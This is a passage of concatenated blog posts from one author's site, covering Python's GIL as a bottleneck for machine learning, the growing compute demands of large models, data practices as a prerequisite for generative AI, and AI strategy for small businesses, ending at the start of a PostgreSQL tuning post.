The limitations of Python for high-performance machine learning are not mere inconveniences—they represent fundamental constraints on what's possible with current approaches. By embracing languages and platforms specifically designed for modern ML workloads, developers can transcend these limitations, unlocking new levels of performance, scalability, and energy efficiency.
Whether through Rust's focus on performance and memory safety or Mojo's approach of enhancing Python's capabilities, the path forward involves moving beyond incremental improvements to adopt truly revolutionary technologies. The benefits are clear: faster training and inference, more efficient resource utilization, lower energy consumption, and ultimately, the ability to tackle machine learning challenges that would be impractical with traditional approaches.
The revolution in machine learning infrastructure is already underway. Organizations that embrace these new technologies will gain significant competitive advantages through faster iteration, lower costs, and the ability to tackle more ambitious machine learning challenges. Those that remain wedded to traditional approaches risk being left behind as the performance gap continues to widen. The choice is clear: incremental improvement or revolutionary transformation. The future of machine learning belongs to those who choose the latter.
---
# Understanding the Bottlenecks: Python's GIL and the Limitations of Current ML Infrastructure
Published: 2025-03-21T11:21:25.000-04:00
Updated: 2025-03-21T11:27:58.000-04:00
Source: https://www.voodootikigod.com/understanding-the-bottlenecks-pythons-gil-and-the-limitations-of-current-ml-infrastructure
> The Hidden Roadblock in Python's Core At the heart of Python's architecture lies a mechanism that most developers rarely think about until it becomes a performance bottleneck: the Global Interpreter Lock (GIL). This seemingly innocuous component has profound implications for machine learning worklo...
## The Hidden Roadblock in Python's Core
At the heart of Python's architecture lies a mechanism that most developers rarely think about until it becomes a performance bottleneck: the Global Interpreter Lock (GIL). This seemingly innocuous component has profound implications for machine learning workloads and high-performance computing. The Python GIL is a mutex/lock that allows only one thread to hold the control of the Python interpreter and thereby it's orchestration and execution. This means that only one thread can be in a state of execution at any point in time. While this design choice made perfect sense in Python's early days, it has become increasingly problematic as hardware capabilities have evolved toward multi-core architectures.
## Understanding the GIL: A Technical Perspective
To appreciate why the GIL exists, we must first understand Python's memory management system. Python uses reference counting for memory management, meaning objects created in Python have a reference count variable that tracks the number of references pointing to the object. When this count reaches zero, the memory occupied by the object is released. This approach simplifies memory management, but introduces a critical vulnerability: race conditions in a multi-threaded environment.
The problem emerges when multiple threads attempt to modify the same reference count simultaneously. Without protection, this could lead to memory leaks or, worse, premature object deletion while references still exist. The GIL was implemented as a straightforward solution to this problem, ensuring thread safety by allowing only one thread to execute Python bytecode at a time, effectively serializing Python operations regardless of the number of available CPU cores.
## The Real-World Impact on Machine Learning Workloads
The GIL's constraints become particularly evident in CPU-bound machine learning applications. In machine learning contexts, ["real time systems, where large volumes of data need to be processed simultaneously, may face limitations due to the GIL... since these systems usually demand high-performance processing and often involve multi-threading."](https://datarodeo.io/python/pythons-gil-understanding-and-mitigating-its-limitations/?ref=voodootikigod.com) This creates a significant bottleneck exactly where performance matters most: computationally intensive tasks like model training, hyperparameter optimization, and feature engineering. There is a strong and continually growing argument to be made that we shouldn't have to make such a significant trade off in the modern era, and worse - given the volume of data needing processing and analyzed, we can't readily accept that exchange rate off going forward especially for production and critical systems that necessitate at or near real time response.
In practical terms, this means that even on a 64-core server, a Python process will primarily utilize just one core for executing Python code, leaving substantial computing power idle. This limitation is especially frustrating given the inherently parallelizable nature of many machine learning algorithms. Tasks like matrix operations, gradient calculations, and batch processing would ideally benefit from parallel execution, yet Python's GIL prevents efficient utilization of multiple cores.
## Even C/C++ Extensions Feel the GIL's Grip
A common misconception is that using C/C++ extensions in Python completely bypasses the GIL's limitations. While these extensions can release the GIL during execution, the reality is more nuanced. To Wit, locking the entire interpreter makes it easier for the interpreter to be multi-threaded, at the expense of much of the parallelism afforded by multi-processor machines. This means that even when using optimized libraries like NumPy, TensorFlow, or PyTorch (which are largely implemented in C/C++), the Python code coordinating these libraries still runs under the GIL's constraints. This has been a commonly known concern and accepted reality within the Python community with some amazing conversations and insights about it including [David Beazly](https://www.youtube.com/watch?v=Obt-vMVdM8s&ref=voodootikigod.com) and Jesse Noller (Note: I am unsure what happened to Jesse's blog, but the [Wayback Machine has it here](https://web.archive.org/web/20160221192316/http://jessenoller.com/2009/02/01/python-threads-and-the-global-interpreter-lock/)).
Furthermore, the transitions between Python code and C extensions create overhead that accumulates in complex workflows. Each time control flows from Python to a C extension, the GIL must be released and then reacquired, introducing latency. For data preprocessing pipelines or complex model architectures that frequently alternate between Python logic and optimized numerical operations, this overhead can significantly impact overall performance.
## Memory Management Inefficiencies: Beyond Thread Limitation
The GIL's impact extends beyond just limiting thread execution to creating memory management inefficiencies that are particularly problematic for machine learning workloads. Python's reference counting approach ["needs to be protected... from being accidentally released from memory, which is what GIL does."](https://www.machinelearningplus.com/python/python-global-interpreter-lock-gil/?ref=voodootikigod.com) While this protection is crucial, it creates a memory management model that's not optimized for the large, dynamic memory allocations common in machine learning.
These inefficiencies manifest in several ways. First, the GIL's synchronization requirements add overhead to memory operations, slowing down allocation and deallocation. Second, Python's inability to efficiently parallelize memory operations means that large-scale data manipulations—common in preprocessing—often require more time and memory than they would in a truly parallel environment. Finally, the stop-the-world moments when Python needs to acquire or release the GIL create micro-pauses that, while individually small, can accumulate to significant latency in performance-critical applications.
## Quantifying the GIL's Performance Impact
The performance ceiling imposed by the GIL is not theoretical—it's measurable and significant. Benchmark studies consistently show substantial performance discrepancies between single-threaded and multi-threaded Python code for CPU-bound tasks. When comparing execution times of CPU-bound tasks in sequential and parallel scenarios, ["the parallel execution using multiple threads takes longer than the sequential execution. This is due to the GIL's overhead and contention, which limit the benefits of parallelism."](https://www.33rdsquare.com/python-global-interpreter-lock/?ref=voodootikigod.com) This counterintuitive result—where adding threads actually decreases performance—highlights the GIL's profound impact.
For machine learning specifically, this translates to longer training times, reduced experimentation capacity, and less efficient resource utilization. The impact becomes especially apparent when comparing Python's performance to languages without equivalent restrictions, such as Julia or Rust, which can achieve significantly better parallelization on multi-core systems for similar workloads.
## Case Studies: The GIL in Production ML Systems
Real-world machine learning applications frequently encounter GIL-related bottlenecks. One illustrative example comes from large-scale data processing pipelines at tech companies. NumPy, a foundational package for scientific computing in Python, ["doesn't offer a solution to utilize all CPU cores of a single machine well, and instead leaves that to Dask and other multiprocessing solutions. Those aren't very efficient and are also more clumsy to use."](https://peps.python.org/pep-0703/?ref=voodootikigod.com) This situation forces developers to implement complex workarounds that add both code complexity and deployment overhead.
Another example involves distributed training systems. While frameworks like PyTorch and TensorFlow implement distributed training capabilities, the Python code coordinating these operations still runs under GIL constraints. This can create synchronization bottlenecks when aggregating gradients or distributing updated model parameters across workers, reducing the efficiency of distributed training.
## This is Not a Python Rant
I want to be abundantly clear after all of this description and deep diving, I am not saying "Python sucks" or "never use Python". The language is an amazingly expressive one and one that almost feels natural when manipulating data, in many ways more so than any other language I have had experience with. It has an almost "pick up and soar to heights" feeling to it that allows scientists, educators, and many others who self identify as "not a programmer" to do amazing things in a short period of time. Even better, it enables people who identify as "programmers" to do even bigger and better things faster. As a language to do amazing things, it has to be said that it does sit at the top and statistically it does year over year as exemplified by the [TIOBE programming community index](https://www.tiobe.com/tiobe-index/?ref=voodootikigod.com).
This blog post, and this series in total, is just trying to present the conversation that while it may be a beloved programming language that has enabled a tremendous volume of incredible things, we - as engineers - should be willing and open to:
1. Be aware and communicative of the trade offs that come along with the {language, system, framework, etc.} of choice
2. Be open to a reality that while a {language, system, framework, etc.} may excel at allowing us to build, explore, and prototype concepts swiftly - that does not guarantee that it is the right tool for all use cases of those concepts.
## The Road Forward: Solutions and Alternatives
Despite these challenges, the machine learning community has developed several approaches to mitigate the GIL's limitations:
1. **Multiprocessing**: The most common workaround involves using multiple Python processes instead of threads. Unlike threading, multiprocessing provides ["a different interpreter to each process to run... Each process gets its own Python interpreter and memory space which means GIL won't stop it."](https://www.machinelearningplus.com/python/python-global-interpreter-lock-gil/?ref=voodootikigod.com) However, this approach increases memory overhead and complicates data sharing between processes.
2. **Alternative Python Implementations**: Implementations like Jython and IronPython don't have a GIL, allowing true parallelism. However, they often lack compatibility with key machine learning libraries or have other performance trade offs.
3. **Native Extensions and Cython**: Writing performance-critical code in C/C++ or using Cython allows developers to release the GIL during computationally intensive operations, though it sacrifices some of Python's simplicity and readability. Furthermore there is only so much that one can move out of Python before you are realistically just writing (and maintaining) C/C++.
4. **Alternative Languages**: Some teams are exploring languages like Julia or Rust for performance-critical machine learning components. Julia ["is a language exclusively designed to address the shortcomings of Python"](https://builtin.com/software-engineering-perspectives/python-about-get-squeeze?ref=voodootikigod.com) including the GIL's limitations on parallel computing.
5. **Alternative Operating Realities:** Some teams, such as [YetiWare](https://www.youtube.com/watch?v=R2cAeNG2I-M&ref=voodootikigod.com), are exploring a fundamental revolution at the lowest levels of computing by challenging the very [Von Neumann architecture](https://en.wikipedia.org/wiki/Von_Neumann_architecture?ref=voodootikigod.com) upon which Python (and all other languages) sit atop. This could bring about a whole new realm of computing, with benefits and potentially downsides, and is worthwhile keeping tabs on.
6. **GIL-free Python**: The most promising long-term solution may be the ongoing work to make the GIL optional in CPython. PEP 703, which the Python Steering Council intends to approve, ["proposes a way to remove the GIL from Python but manages to avoid the performance impact on non-multithreaded code that affected other no-GIL Python projects."](https://developer.vonage.com/en/blog/removing-pythons-gil-its-happening?ref=voodootikigod.com)
## Navigating Python's Performance Landscape
The GIL remains a significant constraint on Python's performance for machine learning and other CPU-intensive applications. Understanding its implications is essential for developing efficient machine learning systems and making informed decisions about technology stacks. While workarounds exist, they introduce additional complexity or performance trade offs that must be carefully weighed.
As we look to the future, the potential for a GIL-free Python implementation offers hope for addressing these limitations while preserving Python's ecosystem advantages. Until then, machine learning practitioners should remain aware of the GIL's impact on their workflows and consider appropriate mitigation strategies for performance-critical applications. By understanding these architectural constraints, we can better navigate the challenges of building high-performance machine learning systems in and/or with Python - it is not an all or nothing outcome.
---
# The Evolution of Machine Learning: Why Performance Now Matters More Than Ever
Published: 2025-03-20T09:31:02.000-04:00
Updated: 2025-03-20T09:31:02.000-04:00
Tags: data, llm, hpml
Source: https://www.voodootikigod.com/the-evolution-of-machine-learning
> As machine learning models grow to trillion-parameter scale, performance optimization becomes critical. Traditional tools like Python now create bottlenecks, driving the shift toward High-Performance Machine Learning.
In the rapidly evolving landscape of artificial intelligence and machine learning, we are witnessing an unprecedented growth in both capabilities and computational requirements. What began as relatively simple statistical models has evolved into complex neural networks with billions of parameters, capable of generating human-quality text, recognizing intricate patterns in images, and solving problems that once seemed exclusive to human intelligence. This evolution, while technologically impressive, has come with significant costs that are increasingly becoming constraints on further innovation and widespread adoption, particularly at the enterprise level.
The scale of modern machine learning models has grown exponentially in recent years. OpenAI's GPT-3, released in 2020, contained 175 billion parameters. Its successor, GPT-4, is estimated to contain over a trillion parameters. Similarly, [Google's PaLM model](https://research.google/blog/pathways-language-model-palm-scaling-to-540-billion-parameters-for-breakthrough-performance/?ref=voodootikigod.com) stands at 540 billion parameters. This growth is not merely academic—larger models consistently demonstrate superior capabilities across a wide range of tasks. However, the computational resources required to train these models have grown at an even faster rate. Training today's cutting-edge large language models can cost millions of dollars in computing resources, consume megawatt-hours of electricity, and produce significant carbon emissions. Even after training, inference—the process of generating predictions or outputs from these models—requires substantial computational resources, making deployment expensive and sometimes prohibitively resource-intensive.
This exponential growth in resource requirements presents a critical inflection point for organizations leveraging AI/ML in their operations. As models continue to grow in size and complexity, the inefficiencies inherent in current development approaches are magnified. What might be acceptable overhead in smaller models becomes a significant bottleneck in larger ones. Organizations are increasingly finding that their AI initiatives are constrained not by algorithmic innovations, but by practical considerations of cost, infrastructure limitations, and energy consumption. This reality necessitates a fundamental rethinking of how we approach machine learning implementation, particularly as we move from research environments to production deployments serving millions of users.
At the heart of these inefficiencies lies a technological foundation that, while instrumental in democratizing machine learning, was not designed with today's scale in mind. Python, the de facto lingua franca of data science and machine learning, has been a remarkable enabler of innovation due to its simplicity, readability, and vast ecosystem of libraries. However, it carries fundamental limitations that become increasingly problematic as models grow larger and computational demands increase. The language's Global Interpreter Lock (GIL), memory management approach, and interpreted nature introduce performance ceilings that even the most optimized underlying C/C++ libraries cannot fully overcome. The result is a growing gap between what is theoretically possible with modern hardware and what is practically achievable with current software approaches.
The consequences of these inefficiencies extend beyond mere technical considerations. They translate directly into business impact through increased operational costs, extended development timelines, and limitations on what can be practically deployed. Organizations investing heavily in AI initiatives find themselves at a crossroads: continue with familiar tools and accept these growing constraints, or explore alternative approaches that might offer a path to more sustainable scaling. This decision is particularly pressing for enterprises where AI is moving from experimental projects to core business functions, requiring the reliability, efficiency, and cost-effectiveness associated with production-grade systems.
High-Performance Machine Learning (HPML) emerges as a response to these challenges, representing not just incremental optimization, but a fundamentally different approach to implementing machine learning systems. HPML encompasses a set of methodologies, technologies, and architectural patterns designed to maximize computational efficiency, minimize resource utilization, and enable sustainable scaling of AI capabilities. It draws inspiration from high-performance computing while incorporating the specific requirements of modern machine learning workloads. By addressing the foundational inefficiencies in current approaches, HPML offers a path to continue advancing AI capabilities without corresponding exponential increases in computational requirements.
The shift toward HPML represents more than just a technical evolution—it signals a maturation of the AI field itself. Just as traditional software development evolved from early high-level languages to specialized tools optimized for production environments, machine learning is now moving from its exploratory, research-oriented phase to an era where production considerations—performance, efficiency, reliability, and cost—take center stage. Organizations that recognize and adapt to this shift early will find themselves better positioned to leverage AI as a sustainable competitive advantage rather than an increasingly expensive research endeavor. In the following posts of this series, we will explore the specific bottlenecks in current ML infrastructure, emerging solutions like [Rust-based ML frameworks](https://arewelearningyet.com/?ref=voodootikigod.com), fundamental rewrites of Python like [Modular's Mojo](https://www.modular.com/mojo?ref=voodootikigod.com), and strategies for building truly enterprise-grade machine learning systems that can deliver on the promise of AI while addressing the practical constraints of the real world.
---
# The Reality of Generative AI: How Poor Data Practices Are The Real Roadblock to Digital Transformation
Published: 2024-02-27T10:43:53.000-05:00
Updated: 2024-02-27T11:04:13.000-05:00
Tags: digital-transformation, ai, data, generative-ai, data-foundations
Source: https://www.voodootikigod.com/the-reality-of-generative-ai-how-poor-data-practices-are-your-real-roadblock-to-digital-transformation
> Unlock business innovation with generative AI by overcoming data challenges. Learn key strategies for effective data management, quality, and governance to enhance decision-making and drive success. Dive into our guide on building a solid data foundation for AI transformation.
# Introduction
In today's rapidly evolving digital landscape, the buzz around Generative AI is impossible to ignore. From creating stunning visual art to revolutionizing natural language processing, its capabilities are capturing the imagination of the tech world. This groundbreaking technology represents not just a leap forward in machine learning, but a potential paradigm shift in how businesses interact with data and technology.
However, amidst this excitement, there lies a critical, often-overlooked factor that determines the success of any AI-driven initiative: the state of a business's data practices. While the allure of cutting-edge solutions like Generative AI is undeniable, they are merely the tip of the iceberg in the vast ocean of digital transformation. Beneath the surface lies the true challenge that many businesses face: outdated, inefficient, and often problematic data management practices.
This blog post aims to shift the focus from the glittering promise of new technologies to the foundational elements that truly drive digital transformation. We will explore why addressing and rectifying bad data practices is not just necessary for harnessing the power of Generative AI, but is essential for any form of meaningful digital progress. As we delve deeper, we will uncover how businesses, blinded by the allure of new tech, often overlook the fundamental data issues that hold them back, not just in the realm of AI, but in all aspects of digital evolution.
# **The State of Data in Businesses Today**
In the contemporary business landscape, data is often likened to a new form of currency or oil, underpinning the most successful digital transformations. However, the reality for many businesses is a far cry from this ideal. Data is frequently mishandled, mismanaged, or simply misunderstood. This mismanagement manifests in various forms, from siloed data repositories that impede access and collaboration to inconsistent data formats that hinder analysis and application.
Siloed data, in particular, presents a significant challenge. These silos emerge over time due to departmental divides, legacy systems, and the absence of a unified data strategy. They not only create barriers to information access within an organization, but also lead to duplication of efforts and inconsistencies in data. Such an environment is antithetical to the agile, data-driven decision-making that modern businesses require.
Furthermore, the issue of data quality cannot be overstated. In many cases, businesses are plagued by outdated, inaccurate, or incomplete data. The implications of this are twofold: first, it directly impacts the effectiveness of decision-making processes, and second, it severely limits the potential of advanced data analytics and AI/ML applications. Without clean, accurate, and well-structured data, the most advanced AI algorithms will fail to deliver meaningful or reliable results.
Lastly, the lack of robust data governance and security practices poses a significant risk. In an era where data breaches and privacy concerns are increasingly common, proper governance is not just a regulatory requirement, but a critical component of customer trust and business reputation. Effective data governance ensures that data is not only secure, but also utilized in a manner that is ethical, compliant, and aligned with business objectives.
The worst part about this is that you are very likely nodding your head and aware of these issues in your business right now, but have limited ideas how to change or overcome these issues.
# **The Illusion of Technological Solutions**
In the quest for digital excellence, many businesses are captivated by the allure of new technologies like Generative AI. This fascination, however, often leads to a common pitfall: the belief that technology alone can spearhead digital transformation. While these advanced tools offer substantial capabilities, their effectiveness is significantly hampered when foundational data issues, such as siloed and poor-quality data, are ignored. The misconception that technology can independently resolve these deep-rooted data challenges diverts attention and resources from the critical task of establishing a robust data foundation.
This overemphasis on technology creates a mirage of progress, masking the underlying data inadequacies that hinder real transformation. Businesses investing heavily in AI/ML solutions without addressing their data practices are likely to encounter disappointments. AI initiatives, no matter how sophisticated, cannot compensate for systemic data problems like inconsistency, inaccessibility, and poor governance. These are not mere technical issues, but strategic ones that require comprehensive management and organizational change.
The path to genuine digital transformation, therefore, is not solely through the acquisition of the latest AI tools, but through a balanced approach that prioritizes data management reform. Recognizing that technological advancements, including Generative AI, are most powerful when built upon a solid data infrastructure is crucial. Only then can businesses harness the full potential of digital innovation.
# **Unlocking True Potential with Solid Data Foundations**
The cornerstone of any successful digital transformation lies in solid data foundations. This begins with the recognition that data is more than just a collection of numbers and facts; it's the lifeblood of modern business decision-making and innovation. To truly unlock the potential of technologies like Generative AI, companies must first address the fundamental issues of data cleanliness, availability, and governance. This involves a meticulous process of tearing down data silos, ensuring data accuracy and consistency, and establishing a single source of truth for critical data elements.
Effective data management goes beyond mere organization and storage. It requires a strategic approach to making data accessible and useful. Implementing modern data access methods such as GraphQL and APIs is essential in creating a data ecosystem that is both flexible and secure. These technologies enable seamless integration and utilization of data across various platforms, paving the way for advanced AI/ML applications. Moreover, this approach ensures that data is not only available but also delivered in a format that is immediately actionable.
Data governance plays a pivotal role in this landscape. It's about establishing clear policies and practices to ensure data security, compliance, and ethical usage. As businesses integrate AI/ML into their operations, maintaining control over their data, intellectual property, and trade secrets becomes paramount. Robust governance frameworks provide the necessary oversight to prevent data misuse and ensure transparency, which is crucial for building trust in AI-driven processes.
Finally, the journey towards solid data foundations must be viewed as a continuous process rather than a one-time initiative. It involves regular assessments and updates to keep pace with evolving technologies and business needs. By focusing on these foundational elements, businesses not only prepare themselves for the current wave of Generative AI but also future-proof their operations for emerging technologies.
# The Pragmatic Approach to Data Transformation
At the heart of the pragmatic approach to data transformation lies a deep understanding that effective data management is the cornerstone of digital innovation. Many businesses recognize that the journey towards AI and ML integration, especially in the realm of Generative AI, requires more than just technological prowess; it necessitates a fundamental shift in how businesses approach and handle their data. This philosophy aligns with the ethos of many companies, which emphasize not just the adoption of new technologies but the creation of a sustainable and robust data ecosystem.
A pragmatic approach to data transformation focuses on dismantling data silos and fostering a culture of data accessibility across organizations. By employing cutting-edge tools and methodologies, businesses can unify their data landscapes, ensuring seamless data flow and interoperability. This approach not only enhances efficiency but also paves the way for more advanced data analytics and AI applications. The expertise of these companies in crafting bespoke solutions ensures that each client’s unique data challenges are addressed, leading to a tailored path towards digital transformation.
Quality and integrity of data are paramount in any data transformation framework. Companies employ rigorous data cleaning, validation, and management practices to ensure that the data is not just accessible but also reliable and accurate. This commitment to data quality is crucial for the success of AI/ML initiatives, as it guarantees that the insights and outputs derived from these technologies are based on solid, trustworthy data. A data-driven approach ensures that data is a true asset to the organization, enabling informed decision-making and innovation.
Finally, businesses should place a strong emphasis on data governance and security, recognizing these as vital to maintaining customer trust and complying with regulatory standards. Robust governance models ensure ethical and secure use of data. This approach is particularly important in the context of AI/ML, where concerns around data privacy and ethical use are paramount. A commitment to these principles demonstrates an understanding that secure and responsible data management is not just a compliance issue, but a core business imperative.
# Conclusion
In conclusion, while the advancements in AI and ML, particularly Generative AI, offer exciting new frontiers for businesses, it's crucial to recognize that the real enabler of these technologies is a solid foundation in data management. A pragmatic approach emphasizes that resolving core data issues is not just a prerequisite for leveraging new technologies but is essential for any form of sustainable digital transformation. Businesses need to shift their focus from merely chasing technological trends to building a robust data infrastructure, thereby ensuring they are well-positioned to capitalize on current and future digital opportunities.
The journey of Data Transformation is not just about adopting cutting-edge technology; it's about transforming the way businesses handle and perceive data. By addressing the fundamental challenges of data accessibility, quality, governance, and security, a pragmatic approach empowers organizations to not only embrace the potentials of Generative AI but to thrive in an increasingly data-driven world.
# Let's Make This Real For You
If you're looking to explore how these concepts and technologies can be applied to your organization, reach out to [Chris Williams](mailto:chris@voodootikigod.com), the maker of improbable things and author of this article. Chris can provide the insights and expertise you need to turn the improbable into the achievable and propel your organization into the future.
---
# Why an AI Strategy is the Game-Changer for Small and Medium-Sized Businesses
Published: 2023-08-22T10:33:35.000-04:00
Updated: 2023-09-06T12:31:39.000-04:00
Source: https://www.voodootikigod.com/why-an-ai-strategy-is-the-game-changer-for-small-and-medium-sized-businesses
> The digital revolution of the 21st century has amplified the capabilities of businesses across the board. But a new era is upon us—the AI revolution—and it's reshaping the competitive landscape in a way that overwhelmingly favors small and medium-sized businesses (SMBs) over their enterprise behemot...
The digital revolution of the 21st century has amplified the capabilities of businesses across the board. But a new era is upon us—the AI revolution—and it's reshaping the competitive landscape in a way that overwhelmingly favors small and medium-sized businesses (SMBs) over their enterprise behemoths. Here's how and why SMBs are uniquely positioned to capitalize on the transformative power of AI.
# Less is More: The Advantage of Smaller Data Sets
In our data-driven age, it might seem counterintuitive to suggest that having less data could be beneficial. However, when it comes to leveraging the power of AI, especially the newer generative models, smaller datasets can indeed be an asset for SMBs.
## Foundation Models: A Paradigm Shift in AI
Traditionally, AI models thrived on massive amounts of specific data. These data-hungry algorithms required extensive training on diverse datasets to be effective. But with the rise of foundation models, like GPT-4 and its successors in the realm of Generative AI, the game has changed significantly. These models are pre-trained on vast swathes of general data, enabling them to possess a broad understanding of language, context, and even domain-specific knowledge.
For businesses, especially SMBs, this means that foundation models can be fine-tuned with limited amounts of domain-specific data. In contrast to traditional models, which might need vast quantities of data to learn a particular task from scratch, foundation models leverage their prior knowledge and apply it to new tasks with a minimal additional dataset.
## The SMB Advantage
This new AI paradigm is transformative for SMBs in particular. Given that these businesses might not have the extensive datasets that larger corporations have accumulated over years or decades, they often felt left behind in the traditional AI race. Now, with the prowess of foundation models, they can achieve similar, if not superior, results without the need for massive data collection efforts.
For instance, a small e-commerce startup can fine-tune a foundation model to offer customer support, product recommendations, or even content creation with only the data they've collected in a few months. This approach levels the playing field dramatically.
In addition, the reduced reliance on vast datasets means that SMBs can be more agile in adapting to market changes. They can swiftly pivot their AI strategies and tweak their models based on emerging trends, customer feedback, or new business directions—all without the daunting task of collecting and processing vast amounts of new data.
In essence, foundation models are democratizing AI, allowing SMBs to harness their power without the traditional prerequisites of extensive data. This paradigm shift not only amplifies the potential of SMBs but also underscores the reality that in today's AI landscape, less truly can be more.
# Niche Focus: Swift and Targeted Application of AI
For many SMBs, operating in a niche means a deeper understanding of their customer base, their needs, desires, and behaviors. This intimate knowledge is a significant advantage, especially when it’s combined with AI's analytical capabilities. And while large enterprises might be spreading their resources across broad campaigns, SMBs can dive deep into focused areas, generating rich engagement with their targeted audience.
## AI-Driven Personalization: Making Every Customer Feel Special
It's no secret that customers crave personalized experiences. With AI, SMBs can go beyond the generic and offer truly bespoke interactions. By analyzing limited data points from their niche audiences—like purchase history, browsing behavior, and feedback—AI can help tailor product suggestions, content delivery, and even pricing models to the individual.
Consider a local artisanal coffee roastery. By using AI, it can assess each customer's preferences based on past orders, crafting personalized suggestions and promotions for new blends that align with individual tastes. This granular approach to personalization can lead to increased loyalty, repeat purchases, and word-of-mouth referrals.
## Focused Outreach: Engaging the Right Audience at the Right Time
Instead of casting a wide net and hoping to capture a few relevant leads, SMBs can utilize AI to pinpoint their outreach efforts. Tools like predictive analytics can help businesses identify potential high-value customers, optimal times for engagement, and the most effective channels for communication.
A niche fitness apparel brand, for instance, could use AI to identify when its target demographic (e.g., trail runners) is most active online, and then schedule content or promotional posts accordingly. By narrowing down their outreach, SMBs can maximize their return on investment and foster a more engaged community.
## Revolutionizing Marketing with AI
In a world bombarded by ads, standing out is challenging. However, AI can help SMBs craft marketing campaigns that resonate deeply with their niche audiences. By analyzing customer feedback, reviews, and even sentiment on social media, AI can guide SMBs in creating marketing materials that strike a chord.
For example, a local bookstore could use AI to determine which genres or authors are trending within its community and then curate events, promotions, or reading lists centered around those insights. This ensures that their marketing efforts aren't just seen, but they're also deeply relevant and valued by their audience.
In summary, while large enterprises may rely on the brute force of massive campaigns, SMBs have the unique opportunity to wield AI for precision-targeted engagement. By diving deep into personalization, outreach, and marketing, these businesses can ensure that every interaction is meaningful, resonant, and drives tangible value, fortifying their position in their chosen niche.
# Speed of Adoption: The Superpower of SMBs
In the dynamic and ever-evolving world of AI, speed can be the difference between gaining a competitive edge and being left behind. While enterprises might boast of vast resources and established infrastructures, these very advantages often hinder their ability to swiftly adapt to technological shifts. In contrast, the nimbleness inherent to SMBs makes them perfectly poised to embrace the rapid changes AI brings.
## Less Bureaucratic Hurdles: Decision-making in Real-time
One of the greatest advantages SMBs hold is their lean decision-making structure. Unlike enterprises, which often grapple with layers of management, committees, and approvals, SMBs can make swift and decisive choices. Whether it's about adopting a new AI tool, adjusting a strategy based on AI-derived insights, or even abandoning a tool that no longer serves its purpose, the decisions can be made almost in real-time. This agility translates into immediate action, keeping SMBs several steps ahead in the AI race.
## Cultural Flexibility: An Openness to Experimentation
Smaller teams and closer working relationships within SMBs often foster a culture of innovation and experimentation. The fear of failure is minimized as these businesses can quickly pivot without the monumental costs associated with large-scale changes in bigger companies. With AI continually presenting novel solutions and approaches, this openness to experimentation allows SMBs to test, iterate, and refine their strategies with unmatched speed.
## Rapid Skill Acquisition and Training
SMBs often operate with a more dynamic workforce ready to wear multiple hats. This adaptability extends to training as well. When a new AI tool or platform is introduced, SMBs can quickly upskill their teams, ensuring that the entire organization is aligned and equipped to harness the new technology. In contrast, enterprises might require extensive training programs, onboarding processes, and change management strategies, all of which eat into the time that could be spent on actual implementation.
## Tailored AI Solutions Over One-Size-Fits-All
Instead of opting for expansive AI suites designed for large corporations, SMBs can choose from a growing array of modular AI tools tailored for specific tasks. This means quicker integrations, shorter learning curves, and faster results. An SMB doesn't have to navigate a complex AI ecosystem but can pick and integrate tools that align precisely with their immediate needs.
In essence, the speed of adoption isn't just about how quickly an organization can bring in a new tool. It's about how swiftly they can make decisions, adapt culturally, train their teams, and see tangible results. In this regard, SMBs, with their agility, flexibility, and focus, are set to outpace their enterprise counterparts in the AI marathon, turning their size into their most significant strength.
# Cost-Effective Disruption: SMBs and the Democratization of AI
Cost has traditionally been a barrier to adopting the latest technologies, especially for SMBs. However, with the rapid advancements in AI and the changing landscape of tech solutions, we're witnessing an era where high-level technological disruption is increasingly affordable. This new reality is proving to be a significant boon for SMBs, allowing them to compete at levels previously reserved for large enterprises.
## Open-Source and Modular Solutions: Democratizing Access
One of the most impactful trends in AI development is the rise of open-source platforms and tools. These solutions are not only free or available at a fraction of the cost of enterprise-grade tools, but they often enjoy robust support from thriving communities. SMBs can leverage platforms like TensorFlow, PyTorch, or Hugging Face to develop bespoke AI solutions without incurring hefty licensing fees.
Furthermore, the modularity of newer AI tools means businesses don't have to invest in vast, comprehensive systems. They can cherry-pick functionalities that align with their immediate needs, ensuring that they're only paying for what's genuinely essential for their operations.
# Scalability on Demand: Growing with Purpose
Thanks to cloud computing and AI-as-a-Service (AIaaS) platforms, SMBs can now access AI solutions that scale with their needs. Gone are the days of making heavy upfront investments in infrastructure. Today, an SMB can start small, testing AI solutions with minimal financial risk, and then scale their operations as the business grows and the return on investment becomes evident. This flexibility ensures that costs are always proportionate to the business’s size and needs.
## Focused Investment: Quality over Quantity
While larger enterprises may spread their resources across various AI initiatives, SMBs have the luxury of targeted investment. By focusing their finances on specific AI-driven projects that promise the highest ROI, they can ensure maximum bang for their buck. For instance, a boutique fashion brand might invest in AI-driven social media analytics to tap into emerging trends, while a local eatery could leverage AI for personalized email campaigns. By choosing quality endeavors over quantity, SMBs can derive maximum value from minimal investments.
## Streamlined Operations: Efficiency as a Cost-Saver
With AI's ability to automate tasks, optimize workflows, and enhance decision-making, SMBs can streamline their operations, leading to significant cost savings. Reduced manual errors, faster customer service responses, and more efficient supply chain management are just a few areas where AI can trim operational costs. For SMBs, these savings can be reinvested in growth, innovation, or even further AI adoption.
In the grand tapestry of the business world, the narrative is clear: the democratization of AI is enabling SMBs to disrupt their sectors without draining their coffers. Through strategic choices, flexible adoption, and the myriad of cost-effective AI solutions available today, SMBs are poised to redefine what it means to be a "small" player in a big game.
# The Future: A Level Playing Field?
As AI continues to evolve and democratize, its power to level the playing field between SMBs and enterprises becomes increasingly evident. For a significant period, the AI revolution promises to tilt the scales in favor of those who can act quickly, think creatively, and operate nimbly—qualities that are often the hallmark of SMBs.
In conclusion, while enterprises will undoubtedly continue to play a significant role in the global economy, the AI revolution stands as a beacon of hope and opportunity for SMBs worldwide. By understanding their unique advantages and capitalizing on them, these businesses can not only compete with their larger counterparts but, in many cases, outpace and out-innovate them. For those paying attention, the message is clear: in the world of AI, it's not the size of the company but the agility of its strategy that counts.
# Let's Make This Real For You
If you're looking to explore how these concepts and technologies can be applied to your organization, reach out to [Chris Williams](mailto:chris@voodootikigod.com), the maker of improbable things and author of this article. Chris can provide the insights and expertise you need to turn the improbable into the achievable and propel your organization into the future.
---
# Optimizing PostgreSQL for Scale: An In-Depth Guide for Developers
Published: 2023-08-15T10:20:05.000-04:00
Updated: 2023-08-15T13:35:17.000-04:00
Source: https://www.voodootikigod.com/optimizing-postgresql-for-scale-an-in-depth-guide-for-developers
> Introduction In today's digital landscape, data is the new gold. It's not only about how much data you have, but how efficiently you can manage, retrieve, and analyze it. At the heart of this data revolution is the database, and PostgreSQL, often affectionately termed "Postgres," stands tall as on...
* * *
# Introduction
